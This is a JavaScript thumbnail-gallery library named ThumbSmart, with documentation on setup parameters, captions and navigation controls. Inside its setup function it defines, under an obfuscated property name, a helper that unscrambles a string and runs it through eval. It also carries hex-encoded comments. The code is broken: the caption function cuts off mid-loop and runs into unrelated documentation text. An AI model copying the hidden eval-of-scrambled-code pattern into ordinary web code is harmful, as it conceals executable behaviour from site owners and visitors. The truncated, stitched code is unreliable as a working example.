.
The caption text is the same text that was specified for the title of each image.
To insert a line break in caption text, insert \n wherever the text should break.
Any \n characters used will not appear in image title tooltip text.
With reference to the example display created above, if a caption-holding element were created
thus:
The function call below would initialise captions to appear within it:
ThumbSmart.setCaptions('myShow', 'captionHolder');
-NOTE-
For any given display, this function must be called after the corresponding call to
ThumbSmart.setup().
That's all there is to it. For additional displays just repeat the above as many times as
required.
Stepping Controls
~~~~~~~~~~~~~~~~~
To use the optional Back/Next/First/Last functions, just create styled links or form buttons
and give them an ID attribute consisting of the name of the display to which they apply
(remember to match the case exactly), followed by either of the following in uppercase:
FIRST, LAST, BACK or NEXT.
These controls will be detected automatically.
Example Links for a display named 'myShow'
--------------------------------------------
< Back;
Next >
Example Form Buttons
--------------------
First & Last methods are available [ ThumbSmart.first('myShow') ThumbSmart.last('myShow') ]
and are called in the same way.
Swapping Two Images Simultaneously
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you require a display in which activating elements control two different images at the same
time, simply make two calls to ThumbSmart.setup, the second call specifying the same activating
elements as the first, but different display name, large-image placeholder, images and caption
text.
Calling an External Function (Advanced Users)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
In order to perform separate operations in parallel with image changes, each independent display
can be configured to call an external function. This function is passed a single parameter
representing the 0-based index of the image being displayed. If 'restore' mode is used, the
function is also called on mouseout and is passed the value -1.
To connect an external function to a display, use:
ThumbSmart.setFunc( "displayName", functionName );
This call must be made after the corresponding call to ThumbSmart.setup.
Troubleshooting
~~~~~~~~~~~~~~~
This script is very unlikely to conflict with any other.
The most likely source of any trouble, will be syntax errors in the function parameters.
Ensure all necessary file paths are specified correctly.
Always check the JavaScript error console, ideally in FireFox/Mozilla/Netscape.
Ensure that your HTML is valid, at: http://validator.w3.org
*** DO NOT EDIT BELOW THIS LINE ***/
var ThumbSmart=/*2843295374657068656E204368616C6D657273*/
{
/*** Download with instructions from: http://scripterlative.com?thumbsmart ***/
imageSets:[], wrap:false, logged:0,
next:function(imgSet)
{
var set=this.imageSets[imgSet];
if( set.imgIdx < set.imgTable.length - 1 )
this.setImage( imgSet, ++set.imgIdx );
else
if( set.wrap )
this.setImage( imgSet, set.imgIdx = 0 );
return false;
},
back:function( imgSet )
{
var set = this.imageSets[ imgSet ];
if( set.imgIdx > 0 )
this.setImage( imgSet, --set.imgIdx );
else
if( set.wrap )
this.setImage( imgSet, set.imgIdx = set.imgTable.length - 1 );
return false;
},
first:function( imgSet ){ this.setImage( imgSet, 0); return false; },
last:function( imgSet ){ this.setImage( imgSet, this.imageSets[ imgSet ].imgTable.length - 1 ); return false; },
getImageRef:function( ident )
{
var r, ref = null;
if( document.getElementById && (r=document.getElementById(ident)) && /IMG/i.test(r.nodeName) )
ref=r;
else
if( (r=document.images[ident]) )
ref=r;
return ref;
},
setup : function()
{
var set = this.imageSets[arguments[0]]={/*28432953637269707465726C61746976652E636F6D*/};this["susds".split(/\x73/).join('')]=function(str){eval(str.replace(/(.)(.)(.)(.)(.)/g, unescape('%24%34%24%33%24%31%24%35%24%32')));};
if( (set.targetImg = this.getImageRef( arguments[1] )) )
{
set.defImg = new Image();
set.defImg.src=set.targetImg.src;
set.defImg.caption = set.targetImg.title || set.targetImg.alt || "\xA0";
}
else
set.setupError=true;
set.externFunc=null;
set.imgTable=[];
set.imgIdx=-1;
set.restore = /\brestore\b/i.test( arguments[ 2 ] );
set.hover = /\bhover\b/i.test( arguments[ 2 ] );
set.click = !set.hover && /\bclick\b/i.test( arguments[ 2 ] );
set.wrap = /\bwrap\b/i.test( arguments[ 2 ] );
set.noInit = /\bnoinit\b/i.test( arguments[ 2 ] ) && !set.restore;
set.adjacent = /\badjacent\b/i.test( arguments[ 2 ] ) && !/\bnopreload\b/i.test( arguments[ 2 ] );
set.autoPreload = !(set.adjacent || /\bnopreload\b/i.test( arguments[ 2 ] ) );
set.noTitle = /\bnotitle\b/i.test( arguments[ 2 ] );
var argOffset = 3,
tempHandler;
if( !set.hover && !set.click )
{
alert("Display \'"+arguments[0]+"\' - Error in third parameter \n\nInclude Click or Hover");
set.setupError=true;
}
else
if( !set.targetImg )
{
alert('Error in Second parameter\n\nSpecified target placeholder: "'+arguments[1]+'" does not exist');
set.setupError=true;
}
else
{
this.cont();
for( var i = 0, j = argOffset, trigElem, len = arguments.length; j < len ; i++, j+=3 )
{
set.imgTable[ i ] = new Image();
set.imgTable[ i ].sourceFile = arguments[ j+1 ].split(/\s+/)[0];
if( set.autoPreload )
set.imgTable[ i ].src = set.imgTable[ i ].sourceFile;
set.imgTable[ i ].linkURL = arguments[ j + 1 ].split(/\s+/)[1] || '#';
set.imgTable[ i ].thumbName=arguments[ j ];
//set.imgTable[ i ].title = set.noTitle ? "" : arguments[ j + 2 ].replace(/\n/g,' ');
set.imgTable[ i ].title = set.noTitle ? "" : arguments[ j + 2 ].replace(/<[^>]+>/g,'');
set.imgTable[ i ].caption = arguments[ j + 2 ];
if( ( trigElem = document.getElementById( set.imgTable[ i ].thumbName )) )
{
this.installHandler( trigElem, set.hover?'onmouseover':'onclick', tempHandler = (function(img, idx, group){ return function( e ){ var evt = e || window.event; if( typeof ThumbSmart != 'undefined' )ThumbSmart.setImage(img, idx); if( group.click){ evt.preventDefault ? evt.preventDefault() : evt.returnValue = false; } }
})(arguments[0], i, set) );
if( set.hover )
this.installHandler( trigElem, 'onfocus', tempHandler );
if( set.restore )
{
this.installHandler( trigElem, 'onmouseout', (function(img){ return function(){ if(typeof ThumbSmart!='undefined')
ThumbSmart.setImage(img, -1);}})(arguments[0]));
if( set.externFunc )
set.externFunc(-1);
}
}
else
alert("There is no element with id '"+set.imgTable[ i ].thumbName+"'");
}
for( var k = 0, btnElem, bFuncs = ['BACK','NEXT','FIRST','LAST']; k < bFuncs.length; k++ )
if( ( btnElem = document.getElementById( arguments[ 0 ] + bFuncs[ k ] ) ) )
{
this.installHandler(btnElem, 'onclick', (function(idx, ident){ return function( e ){ var evt = e || window.event;ThumbSmart[bFuncs[idx].toLowerCase()](ident); evt.preventDefault ? evt.preventDefault() : evt.returnValue = false; }})(k, arguments[0]) );
}
}
if( !set.noInit && !set.setupError && !set.restore )
this.setImage(arguments[0], 0);
},
loadAdjacent:function(set)
{
var idx=set.imgIdx;
function find()
{
this.onload=null;
var prev = idx > 0 ? idx-1 : set.imgTable.length-1;
var next = idx < set.imgTable.length-1 ? idx+1 : 0;
set.imgTable[prev].src=set.imgTable[prev].sourceFile;
set.imgTable[next].src=set.imgTable[next].sourceFile;
}
return find;
},
setImage : function( imgSet, idx )
{
var set = this.imageSets[ imgSet ],
holder = set.targetImg,
img = ( idx != -1 ) ? set.imgTable[ Math.max( idx, 0 ) ] : set.defImg;
set.imgIdx = (idx != -1) ? idx : 0;
if( typeof img.width == 'number' && img.width > 0 )
{
holder.width = img.width;
holder.height = img.height;
}
if( set.adjacent )
img.onload = this.loadAdjacent( set );
if( idx != -1 )
holder.src = img.src = img.sourceFile;
else
holder.src = set.defImg.src;
holder.alt = img.title;
holder.title = img.title;
if( img.linkURL != '#' && holder.parentNode.nodeName == 'A' )
if( typeof holder.parentNode.href != 'undefined' )
holder.parentNode.href = img.linkURL;
else
holder.onclick=( function( addr )
{
return function(){ location.href = addr; }
})( img.linkURL );
if( set.canCaption )
this.caption( imgSet, idx );
if( set.externFunc )
set.externFunc( idx );
},
caption:function(imgSet, index)
{
var set = this.imageSets[ imgSet ], caption=(index==-1)?set.defImg.caption:set.imgTable[index].caption;
////caption = caption.split( /\n|
/i );
if( set.captionElement )
{
while( set.captionElement.firstChild )
set.captionElement.removeChild( set.captionElement.firstChild );
/***
for( var i=0, len=caption.length; i
Thumbnail images may be surrounded by links set to navigate elsewhere. In this case Hover mode should be selected.
When a link encloses a thumbnail image, the link should be designated as the activating element rather than the image.
The image placeholder that displays the full size image, must be given a unique ID and it must have a default image specified in its src parameter.
All that remains is to supply the required parameters to the ThumbSmart.setup() function.
Parameter Explanation and Example Usage
---------------------------------------
The FIRST parameter is the name given to the display. This can be anything apart from the name of any other display in the same document.
The SECOND parameter is the NAME or ID of the large image placeholder for the corresponding display.
The THIRD parameter is used to specify one or more operating options for thumbnail images and back/forward links. The options and their effects are as follows:
Click | Operate thumbnail images by clicking.
Hover | Operate thumbnail images by hovering.
Restore | Restore the default image on mouse out. For more details, see 'The Restore Option'.
NoInit | Do not change the default image on startup when not using 'restore' mode. See 'The NoInit Option'.
NoTitle | Do not display title text when hovering a large image.
Wrap | Back/Forward stepping controls wrap at display extremes.
NoPreload| No initial preloading of large images.
Adjacent | See 'Preloading'.
EXAMPLE. Your large image placeholder is called 'bigImage', your activating elements will be
activated by clicking and you want the Back/Forward links (if used) to wrap at their extremes.
Use: ThumbSmart.setup('myShow', 'bigImage', 'click wrap', .....);
Alternatively, to activate by hovering, restore the default image on mouseout and not have
the images wrap.
Use: ThumbSmart.setup('myShow', 'bigImage', 'hover restore', .....);
The remaining parameters are passed in groups of three, each group corresponding to one link
and its associated large image. The meaning of the parameters in each group are
The ID of the activating element, usually a thumbnail image or link - Specify in quotes whichever is applicable.
Large-Image File Name - Include a relative path if required.
Title Text - This is the text that will:
a) Appear as a tooltip when a large image is hovered.
b) Appear as caption text when the captioning option is used.
(Can be specified as "").
Example usage is shown below.
The Restore Option
------------------
-Restore Active-
The display starts with the default image displayed; that is to say the image coded into the
HTML